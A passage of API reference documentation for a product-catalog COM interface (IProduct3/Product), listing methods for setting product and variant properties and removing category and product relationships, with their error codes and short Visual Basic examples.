E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C++] 0x88980032 [Visual Basic] &H88980032 | This catalog does not support variants. In order to support variants, the catalog has to be created with variant identifier.
E_CAT_INVALID_VARIANTID | [C++] 0x8898005C [Visual Basic] &H8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C++] 0x8898004D [Visual Basic] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_VARIANT_ID | [C++] 0x889800FC [Visual Basic] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VARIANT_DOESNT_EXIST | [C++] 0x8898001F [Visual Basic] &H8898001F | The product-variant you specified doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSProductVariant parameter contains valid data only if the method was accessed successfully.

This method returns the properties of the specified product variant. Multilingual properties will be returned in the current language of the catalog. If the product variant specified in the varProductVariantID parameter does not exist in the product, the method will fail.

A single row recordset with all the properties of the variant is returned. The fields of the returned recordset are determined by the properties associated with the definition on which it is based. Both the product properties and the variant properties are returned.

The OID field is used internally by the Product Catalog System and should not be updated.

The recordset returned is updateable, but disconnected. To modify the product properties, pass this recordset to the SetVariantProperties method.

The returned recordset contains the fields listed in the following table.

Field | Data Type
oid | int
cy_list_price | money
Timestamp | timestamp
ProductID | string

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'vVarID is a Variant containing the unique ID of the variant.
SET rsVariantProps = myProduct.GetVariantProperties(vVarID)

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::SetVariantProperties

[Visual Basic] Product.SetVariantProperties


IProduct3::RemoveRelationshipToCategory Method [C++]

Product.RemoveRelationshipToCategory Method [Visual Basic]

Use this method to remove the specified relationship between the specified category and this product.

Definition

[C++]
HRESULT IProduct3::RemoveRelationshipToCategory(
  BSTR strRelatedCategoryName,
  BSTR strRelationshipName
  BSTR strCatalogName
);
[Visual Basic]
Sub RemoveRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String
  Optional strCatalogName As Variant)

Parameters

strRelatedCategoryName [C++]
[in] A BSTR that contains the name of the category that is to have its relationship to this product removed.
strRelatedCategoryName [Visual Basic]
A String that contains the name of the category that is to have its relationship to this product removed.
strRelationshipName [C++]
[in] A BSTR that contains the name of the relationship to be removed.
strRelationshipName [Visual Basic]
A String that contains the name of the relationship to be removed.
strCatalogName [C++]
[in, optional] A BSTR that contains the name of the catalog containing the name of the category that is to have its relationship to this product removed.
strCatalogName [Visual Basic]
A String that contains the name of the catalog containing the name of the category that is to have its relationship to this product removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )# . which should not be used.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C++] 0x88980054 [Visual Basic] &H88980054 | The value you specified for the Relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

When calling this method on an inherited category in a virtual catalog, if the relationship is inherited from a base catalog, the method will return an error: "The relationship that you specified either does not exist or is an inherited relationship, and therefore cannot be edited." If the relationship was added in the virtual catalog, it will be removed. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Remove the "Accessory" relationship this product has to
' the "Apparel" category.

myProduct.RemoveRelationshipToCategory "Apparel", "Accessory", "myCat"

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::get_RelatedCategories

[Visual Basic] Product.RelatedCategories

[C++] IProduct3::AddRelationshipToCategory

[Visual Basic] Product.AddRelationshipToCategory

[C++] IProduct3::RemoveRelationshipToProduct

[Visual Basic] Product.RemoveRelationshipToProduct


IProduct3::RemoveRelationshipToProduct Method [C++]

Product.RemoveRelationshipToProduct Method [Visual Basic]

Use this method to remove the specified relationship between the specified product in the specified catalog and this product.

Definition

[C++]
HRESULT IProduct3::RemoveRelationshipToProduct(
  VARIANT varRelatedProductID,
  BSTR strRelationshipName
  BSTR strCatalogName
);
[Visual Basic]
Sub RemoveRelationshipToProduct(
  varRelatedProductID As Variant,
  strRelationshipName As String
  strCatalogName As String
)

Parameters

varRelatedProductID [C++]
[in] A VARIANT that contains the unique ID of the product that is to have its relationship to this product removed.
varRelatedProductID [Visual Basic]
A Variant that contains the unique ID of the product that is to have its relationship to this product removed.
strRelationshipName [C++]
[in] A BSTR that contains the name of the relationship to be removed.
strRelationshipName [Visual Basic]
A String that contains the name of the relationship to be removed.
strCatalogName [C++]
[in] A BSTR that contains the name of the catalog containing the name of the related product.
strCatalogName [Visual Basic]
A String that contains the name of the catalog containing the name of the related product.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &Hx88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the productID is blank or exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &H8898004E | The value you specified for the productID is either out of range or else does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C++] 0x88980054 [Visual Basic] &H88980054 | The value you specified for the Relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The Category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship (and therefore cannot be edited).
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

When calling this method on an inherited category in a virtual catalog, if the relationship is inherited from a base catalog, the method will return an error: "The relationship that you specified either does not exist or is an inherited relationship, and therefore cannot be edited." If the relationship was added in the virtual catalog, it will be removed. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vProdID is a Variant containing the unique ID of the related product.
myProduct.RemoveRelationshipToProduct(vProdID, "Accessory", "myCat")

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::get_RelatedProducts

[Visual Basic] Product.RelatedProducts

[C++] IProduct3::AddRelationshipToProduct

[Visual Basic] Product.AddRelationshipToProduct

[C++] IProduct3::RemoveRelationshipToCategory

[Visual Basic] Product.RemoveRelationshipToCategory


IProduct3::SetProductProperties Method [C++]

Product.SetProductProperties Method [Visual Basic]

Use this method to set the properties for this product.

Definition

[C++]
HRESULT IProduct3::SetProductProperties(
  _Recordset* pRSProduct,
  VARIANT fForceUpdate
);
[Visual Basic]
Sub SetProductProperties(
  pRSProduct As Recordset,
  Optional fForceUpdate As Variant
)

Parameters

pRSProduct [C++]
[in] A pointer to a Recordset object that contains the new product properties. This should be an updated recordset returned by the GetProductProperties method.
pRSProduct [Visual Basic]
A Recordset object that contains the new product properties. This should be an updated recordset returned by the GetProductProperties method.
fForceUpdate [C++]
[in, optional] A VARIANT that determines whether to force an update of the product properties.
fForceUpdate [Visual Basic]
A Variant that determines whether to force an update of the product properties.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C++] 0x88980032 [Visual Basic] &H88980032 | This catalog does not support variants. In order to support variants. the catalog has to be created with variant identifier.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_PRODUCT_CHANGED | [C++] 0x88980027 [Visual Basic] &H88980027 | The product variant has been changed since it was last read.
E_CAT_INVALID_PROPERTY_VALUE | [C++] 0x889800B4 [Visual Basic] &H889800B4 | The value <value> specified for the property <property name>does not satisfy the Minimum or Maximum constraints defined for the property. For string properties the specified value should lie between the minimum and maximum lengths defined for the property.For numeric properties the specified value should lie between minium and maximum values.For enumeration properties the specified value should be one of the valid values defined for the property.
E_CAT_INVALID_LISTPRICE | [C++] 0x8898003C [Visual Basic] &H8898003C | An invalid list price is specified for this product or variant. The list price cannot be empty for the products and variants.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the SetProductProperties method to modify the properties of a product. The pRSProduct parameter specifies a Recordset object that describes the new property values for this product. This method will not update the fields derived from the catalog, such as ProductID and VariantID. If this method is called for a product family it will update the properties for all variants that belong to the product family.

Use the Recordset object returned by the GetProductProperties property so that the time stamps can be compared to the records updated by this method for error detection.

If the fForceUpdate parameter is set to False, and the property values for this product have been changed since the pRSProduct recordset was obtained from the GetProductProperties property, the method will fail.

This method will update the value of multilingual properties for the current language of the catalog.

Calling this method on a virtual catalog returns an error:E_CAT_VC_NOT_A_SUPPLIER_CATALOG "Invalid Catalog Type. This API can only be called on a Base Catalog."

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'This example changes the list price for a product.
set rsProductProps = myProduct.GetProductProperties
rsProductProps.fields("cy_list_price").value = CCur(1.398)
myProduct.SetProductProperties rsProductProps, TRUE

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::GetProductProperties

[Visual Basic] Product.GetProductProperties


IProduct3::SetRelatedCategories Method [C++]

Product.SetRelatedCategories Method [Visual Basic]

Use this method to update category relationships.

Definition

[C++]
HRESULT IProduct3::SetRelatedCategories(
  _Recordset* pRSRelatedCategories
);
[Visual Basic]
Sub SetRelatedCategories(
  pRSRelatedCategories As _Recordset
)

Parameters

pRSRelatedCategories [C++]
[in] A reference to a Recordset object that contains the related categories.
pRSRelatedCategories [Visual Basic]
A Recordset object that contains the related categories.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | Invalid pointer.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

[Visual Basic] The recordset used for the pRSRelatedCategories parameter should be obtained from the RelatedCategories property.

[C++] The recordset used for the pRSRelatedCategories parameter should be obtained from the get_RelatedCategories method.

This method will update the value of the RelationshipDescription field for the current language of the catalog.

When calling this method on an inherited product in a virtual catalog, the method will have no effect if the relationship is inherited from a base catalog. If the relationship was added in the virtual catalog, changes will be updated. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object.

The input recordset should not contain any rows that are inherited relationships. Such rows must be removed from the recordset first if they exist, as they may be returned by the RelatedCategories method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'pRSRelatedCategories is an existing recordset.
'It was obtained from the RelatedCategories property.

myProduct.SetRelatedCategories(pRSRelatedCategories)

See Also

[C++] Product Object

[Visual Basic] Product Object


IProduct3::SetRelatedProducts Method [C++]

Product.SetRelatedProducts Method [Visual Basic]

Use this method to update product relationships.

Definition

[C++]
HRESULT IProduct3::SetRelatedProducts(
  _Recordset* pRSRelatedProducts
);
[Visual Basic]
Sub SetRelatedProducts(
  pRSRelatedProducts As _Recordset
)

Parameters

pRSRelatedProducts [C++]
[in] A reference to a _Recordset object that contains the related products.
pRSRelatedProducts [Visual Basic]
A Recordset object that contains the related products.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | Invalid pointer
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

[Visual Basic] The recordset used for the pRSRelatedProducts parameter should be obtained from the RelatedProducts property.

[C++] The recordset used for the pRSRelatedProducts parameter should be obtained from the get_RelatedProducts method.

This method will update the value of the RelationshipDescription field for the current language of the catalog.

When calling this method on an inherited product in a virtual catalog, the method will have no effect if the relationship is inherited from a base catalog. If the relationship was added in the virtual catalog, changes will be updated. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object.

The input recordset should not contain any rows that are inherited relationships. Such rows must be removed from the recordset first if they exist, as they may be returned by the RelatedProducts method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'pRSRelatedProducts is an existing recordset.
'It was obtained from the RelatedProducts property.

myProduct.SetRelatedProducts(pRSRelatedProducts)

See Also

[C++] Product Object

[Visual Basic] Product Object


IProduct3::SetVariantProperties Method [C++]

Product.SetVariantProperties Method [Visual Basic]

Use this method to set the properties for a variant of this product.

Definition

[C++]
HRESULT IProduct3::SetVariantProperties(
  _Recordset* pRSNewState,
  VARIANT fForceUpdate
);
[Visual Basic]
Sub SetVariantProperties(
  pRSNewState As _Recordset,
  Optional fForceUpdate As Variant
)

Parameters

pRSNewState [C++]
[in] A pointer to a Recordset object that contains the new product variant properties. This should be a recordset returned by the GetVariantProperties property, or by the CreateVariant method.
pRSNewState [Visual Basic]
A Recordset object that contains the new product variant properties. This should be a recordset returned by the GetVariantProperties property, or by the CreateVariant method.
fForceUpdate [C++]
[in, optional] A VARIANT that determines whether to force an update of the product variant properties.
fForceUpdate [Visual Basic]
A Variant that determines whether to force an update of the product variant properties.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C++] 0x88980032 [Visual Basic] &H88980032 | This catalog does not support variants. In order to support variants, the catalog has to be created with variant identifier.
E_CAT_VARIANT_DOESNT_EXIST | [C++] 0x8898001F [Visual Basic] &H8898001F | The product-variant you specified doesn't exist.
E_CAT_PRODUCT_CHANGED | [C++] 0x88980027 [Visual Basic] &H88980027 | The product variant has been changed since it was last read.
E_CAT_INVALID_PROPERTY_VALUE | [C++] 0x889800B4 [Visual Basic] &H889800B4 | The value <value> specified for the property <property name>does not satisfy the Minimum or Maximum constraints defined for the property. For string properties, the specified value should lie between the minimum and maximum lengths defined for the property. For numeric properties, the specified value should lie between a minimum and maximum value. For enumeration properties, the specified value should be one of the valid values defined for the property.
E_CAT_INVALID_LISTPRICE | [C++] 0x8898003C [Visual Basic] &H8898003C | An invalid list price is specified for this product or variant. The list price cannot be empty for the products and variants.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[Visual Basic] Use the SetVariantProperties method to modify the properties of a product variant. The pRSNewState parameter specifies a Recordset object that describes the new property values for this product variant. Use the recordset returned by the GetVariantProperties method, or by the CreateVariant method, so that time stamps can be compared for error detection.

[C++] Use the SetVariantProperties method to modify the properties of a product variant. The pRSNewState parameter specifies a Recordset object that describes the new property values for this product variant. Use the recordset returned by the GetVariantProperties method, or by the CreateVariant method, so that time stamps can be compared for error detection.

If the fForceUpdate parameter is set to False, and the property values in the pRSNewState parameter have changed, the method will fail.

This method will update the value of multilingual properties for the current language of the catalog.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProduct.SetVariantProperties pRSNewState, fForceUpdate

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::GetVariantProperties

[Visual Basic] Product.GetVariantProperties


IProduct3 Properties [C++]

Product Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
AncestorCategories | _Recordset | Contains a recordset of category names that exist anywhere above this product, and that directly or indirectly contain this product in the hierarchy. This property is read-only.
CatalogName | BSTR | Contains the name of the catalog of which this Product object is a member. This property is read-only.
GetProductProperties | _Recordset | Contains a recordset containing the property values for this product. This property is read-only.
ParentCategories | _Recordset | Contains a recordset of categories that directly contain this product. This property is read-only.
PricingCategory | BSTR | Contains the name of the pricing category for this product. This property is read/write.
PrimaryParent | BSTR | Contains the name of the primary parent category for this product. This property is read/write.
ProductID | BSTR | Contains the unique ID for this product. This property is read-only.
RelatedCategories | _Recordset | Contains a recordset that describes all of the categories that are related to this product. This property is read-only.
RelatedProducts | _Recordset | Contains a recordset that describes all of the products that are related to this product. This property is read-only.
UseCategoryPricing | VARIANT_BOOL | Indicates whether the price is derived from the PrimaryParentCategory field. This property is read/write.
Variants | _Recordset | Contains a recordset that describes all of the variants of this product, if any. This property is read-only.
[Visual Basic]
Property | Type | Description
AncestorCategories | Recordset | Contains a recordset of category names that exist anywhere above this product, and that directly or indirectly contain this product in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Product object is a member. This property is read-only.
GetProductProperties | Recordset | Contains a recordset containing the property values for this product. This property is read-only.
ParentCategories | Recordset | Contains a recordset of categories that directly contain this product. This property is read-only.
PricingCategory | String | Contains the name of the pricing category for this product. This property is read/write.
PrimaryParent | String | Contains the name of the primary parent category for this product. This property is read/write.
ProductID | BSTR | Contains the unique identifier for this product This property is read-only.
RelatedCategories | Recordset | Contains a recordset that describes all of the categories that are related to this product. This property is read-only.
RelatedProducts | Recordset | Contains a recordset that describes all of the products that are related to this product. This property is read-only.
UseCategoryPricing | Boolean | Indicates whether the price is derived from the PrimaryParentCategory field. This property is read/write.
Variants | Recordset | Contains a recordset that describes all of the variants of this product, if any. This property is read-only.


IProduct3::get_AncestorCategories Property [C++]

Product.AncestorCategories Property [Visual Basic]

The AncestorCategories property is a read-only Recordset object that contains the names of categories that exist anywhere above this product in the hierarchy.

Definition

[C++]
HRESULT IProduct3::get_AncestorCategories(
  _Recordset** AncestorCategories
);
[Visual Basic]
Property AncestorCategories As Recordset

Parameters

AncestorCategories [C++]
[out, retval] The address of a pointer to a _Recordset object used to return the ancestor categories.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this property can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The AncestorCategories parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The AncestorCategories property contains valid data only if it was accessed successfully.

The AncestorCategories property is a Recordset object with a single 128-character field, called Name.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::get_ParentCategories

[Visual Basic] Product.ParentCategories


IProduct3::get_CatalogName Property [C++]

Product.CatalogName Property [Visual Basic]

The CatalogName property is a read-only String that contains the name of the catalog from which this product was retrieved.

Definition

[C++]
HRESULT IProduct3::get_CatalogName(
  BSTR* CatalogName
);
[Visual Basic]
Property CatalogName As String

Parameters

CatalogName [C++]
[out, retval] A BSTR used to return the catalog name.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C++] 0x8007000E [Visual Basic] &H8007000E | Ran out of memory.

Remarks

[C++] The CatalogName parameter contains valid data only if the property was accessed successfully.

Products that are included in a virtual catalog appear to exist in two places in the Product Catalog System.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Product Object

[Visual Basic] Product Object


IProduct3::get_GetProductProperties Property [C++]

Product.GetProductProperties Property [Visual Basic]

The GetProductProperties property is a read-only recordset that contains the properties of this Product object.

Definition

[C++]
HRESULT IProduct3::get_GetProductProperties(
  _Recordset** GetProductProperties
);
[Visual Basic]
Property GetProductProperties As Recordset

Parameters

GetProductProperties [C++]
[out, retval] The address of a pointer to a _Recordset object used to return the properties of this product.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this property can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The GetProductProperties parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The GetProductProperties property contains valid data only if it was accessed successfully.

